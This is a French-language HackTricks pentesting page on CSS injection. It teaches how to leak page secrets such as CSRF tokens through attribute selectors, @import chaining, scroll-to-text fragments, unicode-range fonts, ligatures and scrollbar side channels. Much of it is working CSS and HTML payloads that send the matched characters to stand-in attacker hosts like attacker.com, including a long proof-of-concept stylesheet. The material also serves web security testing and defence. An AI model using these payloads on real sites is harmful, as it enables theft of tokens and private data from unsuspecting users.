hacktricks/pentesting-web/xs-search/css-injection
2023-06-03 13:10:46 +00:00
..
css-injection-code.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated to French 2023-06-03 13:10:46 +00:00

Injection CSS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Injection CSS

Sélecteur d'attribut

La technique principale pour exfiltrer des informations via l'injection CSS consiste à essayer de faire correspondre un texte avec CSS et dans le cas où ce texte existe, charger une ressource externe, comme :

input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9);   
}

Cependant, notez que cette technique ne fonctionnera pas si, dans l'exemple, l'entrée de nom csrf est de type caché (et elles le sont généralement), car l'arrière-plan ne sera pas chargé.
Cependant, vous pouvez contourner cet obstacle en faisant, au lieu de faire charger un arrière-plan à l'élément caché, charger simplement n'importe quoi après lui l'arrière-plan :

input[name=csrf][value^=csrF] ~ * {
    background-image: url(https://attacker.com/exfil/csrF);
}

Voici un exemple de code pour exploiter cela : https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e

Prérequis

  1. L'injection CSS doit permettre des charges utiles suffisamment longues
  2. Capacité à encadrer la page pour déclencher la réévaluation CSS des nouvelles charges utiles générées
  3. Capacité à utiliser des images hébergées à l'extérieur (peut être bloqué par CSP)

@import

La technique précédente présente quelques inconvénients, vérifiez les prérequis. Vous devez soit être en mesure d'envoyer plusieurs liens à la victime, soit être en mesure d'encadrer la page vulnérable à l'injection CSS.

Cependant, il existe une autre technique astucieuse qui utilise CSS @import pour améliorer la qualité de la technique.

Cela a été montré pour la première fois par Pepe Vila et cela fonctionne comme ceci :

Au lieu de charger la même page une fois et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons charger la page une seule fois et juste avec une importation vers le serveur des attaquants (c'est la charge utile à envoyer à la victime) :

@import url('//attacker.com:5001/start?');
  1. L'import va recevoir un script CSS de la part des attaquants et le navigateur va le charger.
  2. La première partie du script CSS que l'attaquant enverra est un autre @import vers le serveur des attaquants.
    1. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer quelques caractères avant de répondre à cet import avec la charge utile pour divulguer les suivants.
  3. La deuxième et plus grande partie de la charge utile va être une charge utile de fuite de sélecteur d'attribut
    1. Cela enverra au serveur des attaquants le premier caractère du secret et le dernier
  4. Une fois que le serveur des attaquants a reçu le premier et le dernier caractère du secret, il va répondre à l'import demandé à l'étape 2.
    1. La réponse va être exactement la même que les étapes 2, 3 et 4, mais cette fois-ci, elle va essayer de trouver le deuxième caractère du secret, puis l'avant-dernier.

L'attaquant va suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret.

Vous pouvez trouver le code de Pepe Vila pour exploiter cela ici ou vous pouvez trouver presque le même code mais commenté ici.

{% hint style="info" %} Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Cela permet au script de divulguer le secret plus rapidement.

{% hint style="warning" %} Parfois, le script ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment donné, il se bloquera.
Pas de soucis, vérifiez simplement la sortie car vous pouvez y voir le drapeau. {% endhint %}

Autres sélecteurs

D'autres façons d'accéder aux parties du DOM avec des sélecteurs CSS :

  • .class-to-search:nth-child(2) : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.

  • Sélecteur :empty : Utilisé par exemple dans ce writeup:

    [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
    

XS-Search basé sur les erreurs

Référence : Attaque basée sur CSS : Abus de la plage de caractères Unicode de @font-face, PoC XS-Search basé sur les erreurs par @terjanq

En gros, l'idée principale est d'utiliser une police personnalisée provenant d'un point de terminaison contrôlé par nous dans un texte qui ne sera affiché que si la ressource ne peut pas être chargée.

<!DOCTYPE html>
<html>
<head>
    <style>
    @font-face{
        font-family: poc; 
        src: url(http://ourenpoint.com/?leak); 
        unicode-range:U+0041;
    }

    #poc0{
        font-family: 'poc';
    }

    </style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

Stylisation de fragments de texte de défilement

Lorsqu'un fragment d'URL cible un élément, la pseudo-classe :target peut être utilisée pour le sélectionner, mais ::target-text ne correspond à rien. Elle ne correspond qu'au texte qui est lui-même ciblé par le [fragment].

Par conséquent, un attaquant pourrait utiliser le fragment de texte de défilement et si quelque chose est trouvé avec ce texte, nous pouvons charger une ressource depuis le serveur de l'attaquant pour l'indiquer :

:target::before { content : url(target.png) }

Un exemple de cette attaque pourrait être :

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

The file /hive/hacktricks/pentesting-web/xs-search/css-injection/README.md is sending the code.

<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>

avec le fragment scroll-to-text: #:~:text=Administrateur

Si le mot Administrateur est trouvé, la ressource indiquée sera chargée.

Il existe trois principales mesures d'atténuation :

  1. STTF ne peut correspondre qu'à des mots ou des phrases sur une page web, ce qui rend théoriquement impossible la fuite de secrets ou de jetons aléatoires (à moins que nous ne décomposions le secret en paragraphes d'une lettre).
  2. Il est restreint aux contextes de navigation de niveau supérieur, il ne fonctionnera donc pas dans un iframe, rendant l'attaque visible pour la victime.
  3. Un geste d'activation de l'utilisateur est nécessaire pour que STTF fonctionne, donc seules les navigations qui sont le résultat d'actions de l'utilisateur sont exploitables, ce qui diminue considérablement la possibilité d'automatiser l'attaque sans interaction de l'utilisateur. Cependant, il existe certaines conditions que l'auteur du blog post ci-dessus a découvertes qui facilitent l'automatisation de l'attaque. Un autre cas similaire sera présenté dans PoC#3.
    1. Il existe quelques bypass pour cela comme l'ingénierie sociale, ou forcer les extensions de navigateur courantes à interagir.

Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

@font-face / unicode-range

Vous pouvez spécifier des polices externes pour des valeurs unicode spécifiques qui ne seront collectées que si ces valeurs unicode sont présentes sur la page. Par exemple :

<style>
@font-face{
    font-family:poc;
    src: url(http://attacker.example.com/?A); /* fetched */
    unicode-range:U+0041;
}
@font-face{
    font-family:poc;
    src: url(http://attacker.example.com/?B); /* fetched too */
    unicode-range:U+0042;
}
@font-face{
    font-family:poc;
    src: url(http://attacker.example.com/?C); /* not fetched */
    unicode-range:U+0043;
}
#sensitive-information{
    font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Lorsque vous accédez à cette page, Chrome et Firefox récupèrent "?A" et "?B" car le nœud de texte de sensitive-information contient les caractères "A" et "B". Mais Chrome et Firefox ne récupèrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".

Exfiltration de nœud de texte (I): ligatures

Référence: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

Nous pouvons extraire le texte contenu dans un nœud avec une technique qui combine les ligatures de police et la détection des changements de largeur. L'idée principale derrière cette technique est la création de polices qui contiennent une ligature prédéfinie avec une taille élevée et l'utilisation de changements de taille comme oracle.

Les polices peuvent être créées sous forme de polices SVG, puis converties en woff avec fontforge. En SVG, nous pouvons définir la largeur d'un glyphe via l'attribut horiz-adv-x, nous pouvons donc construire quelque chose comme <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, étant XY une séquence de deux caractères. Si la séquence existe, elle sera rendue et la taille du texte changera. Mais... comment pouvons-nous détecter ces changements ?

Lorsque l'attribut white-space est défini comme nowrap, il force le texte à ne pas se rompre lorsqu'il dépasse la largeur du parent. Dans cette situation, une barre de défilement horizontale apparaîtra. Et nous pouvons définir le style de cette barre de défilement, donc nous pouvons divulguer quand cela se produit :)

body { white-space: nowrap }; 
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }

À ce stade, l'attaque est claire :

  1. Créer des polices pour la combinaison de deux caractères avec une largeur énorme
  2. Détecter la fuite via le truc de la barre de défilement
  3. En utilisant la première ligature divulguée comme base, créer de nouvelles combinaisons de 3 caractères (en ajoutant des caractères avant / après)
  4. Détecter la ligature de 3 caractères.
  5. Répéter jusqu'à divulguer tout le texte

Nous avons encore besoin d'une méthode améliorée pour commencer l'itération car <meta refresh=... est suboptimal. Vous pouvez utiliser le truc CSS @import pour optimiser l'exploit.

Exfiltration de nœud de texte (II) : divulgation de l'ensemble de caractères avec une police par défaut

Référence : PoC utilisant Comic Sans par @Cgvwzq & @Terjanq

Ce truc a été publié dans ce fil de discussion Slackers. L'ensemble de caractères utilisé dans un nœud de texte peut être divulgué en utilisant les polices par défaut installées dans le navigateur : aucune police externe ou personnalisée n'est nécessaire.

La clé est d'utiliser une animation pour augmenter la largeur de la div de 0 jusqu'à la fin du texte, la taille d'un caractère à chaque fois. En faisant cela, nous pouvons "diviser" le texte en deux parties : un "préfixe" (la première ligne) et un "suffixe", de sorte que chaque fois que la div augmente sa largeur, un nouveau caractère passe du "suffixe" au "préfixe". Quelque chose comme :

C
ADB

CA
DB

CAD
B

CADB

Lorsqu'un nouveau caractère passe à la première ligne, le truc de plage Unicode est utilisé pour détecter le nouveau caractère dans le préfixe. Cette détection est effectuée en changeant la police en Comic Sans, dont la hauteur est supérieure, de sorte qu'une barre de défilement verticale est déclenchée (divulgation de la valeur du caractère). De cette façon, nous pouvons divulguer chaque caractère différent une fois. Nous pouvons détecter si un caractère est répété mais pas quel caractère est répété.

{% hint style="info" %} Essentiellement, le truc de plage Unicode est utilisé pour détecter un caractère, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen.
Lorsque le caractère est trouvé, il est donné à la police Comic Sans pré-installée, ce qui rend le caractère plus grand et déclenche une barre de défilement qui divulguera le caractère trouvé. {% endhint %}

Vérifiez le code extrait du PoC :

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
    overflow-y: auto; /* leak channel */
    overflow-x: hidden; /* remove false positives */
    height: 40px; /* comic sans capitals exceed this height */
    font-size: 0px; /* make suffix invisible */
    letter-spacing: 0px; /* separation */
    word-break: break-all; /* small width split words in lines */
    font-family: rest; /* default */
    background: grey; /* default */
    width: 0px; /* initial value */
    animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
    animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
    font-size: 30px; /* prefix is visible in first line */
    text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
    0% { font-family: rest; } /* delay for width change */
    5% { font-family: has_A, rest; --leak: url(?a); }
    6% { font-family: rest; }
    10% { font-family: has_B, rest; --leak: url(?b); }
    11% { font-family: rest; }
    15% { font-family: has_C, rest; --leak: url(?c); }
    16% { font-family: rest }
    20% { font-family: has_D, rest; --leak: url(?d); }
    21% { font-family: rest; }
    25% { font-family: has_E, rest; --leak: url(?e); }
    26% { font-family: rest; }
    30% { font-family: has_F, rest; --leak: url(?f); }
    31% { font-family: rest; }
    35% { font-family: has_G, rest; --leak: url(?g); }
    36% { font-family: rest; }
    40% { font-family: has_H, rest; --leak: url(?h); }
    41% { font-family: rest }
    45% { font-family: has_I, rest; --leak: url(?i); }
    46% { font-family: rest; }
    50% { font-family: has_J, rest; --leak: url(?j); }
    51% { font-family: rest; }
    55% { font-family: has_K, rest; --leak: url(?k); }
    56% { font-family: rest; }
    60% { font-family: has_L, rest; --leak: url(?l); }
    61% { font-family: rest; }
    65% { font-family: has_M, rest; --leak: url(?m); }
    66% { font-family: rest; }
    70% { font-family: has_N, rest; --leak: url(?n); }
    71% { font-family: rest; }
    75% { font-family: has_O, rest; --leak: url(?o); }
    76% { font-family: rest; }
    80% { font-family: has_P, rest; --leak: url(?p); }
    81% { font-family: rest; }
    85% { font-family: has_Q, rest; --leak: url(?q); }
    86% { font-family: rest; }
    90% { font-family: has_R, rest; --leak: url(?r); }
    91% { font-family: rest; }
    95% { font-family: has_S, rest; --leak: url(?s); }
    96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
    0% { width: 0px }
    1% { width: 20px }
    2% { width: 40px }
    3% { width: 60px }
    4% { width: 80px }
    4% { width: 100px }
    5% { width: 120px }
    6% { width: 140px }
    7% { width: 0px }
}

div::-webkit-scrollbar {
    background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
    background: blue var(--leak);
}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥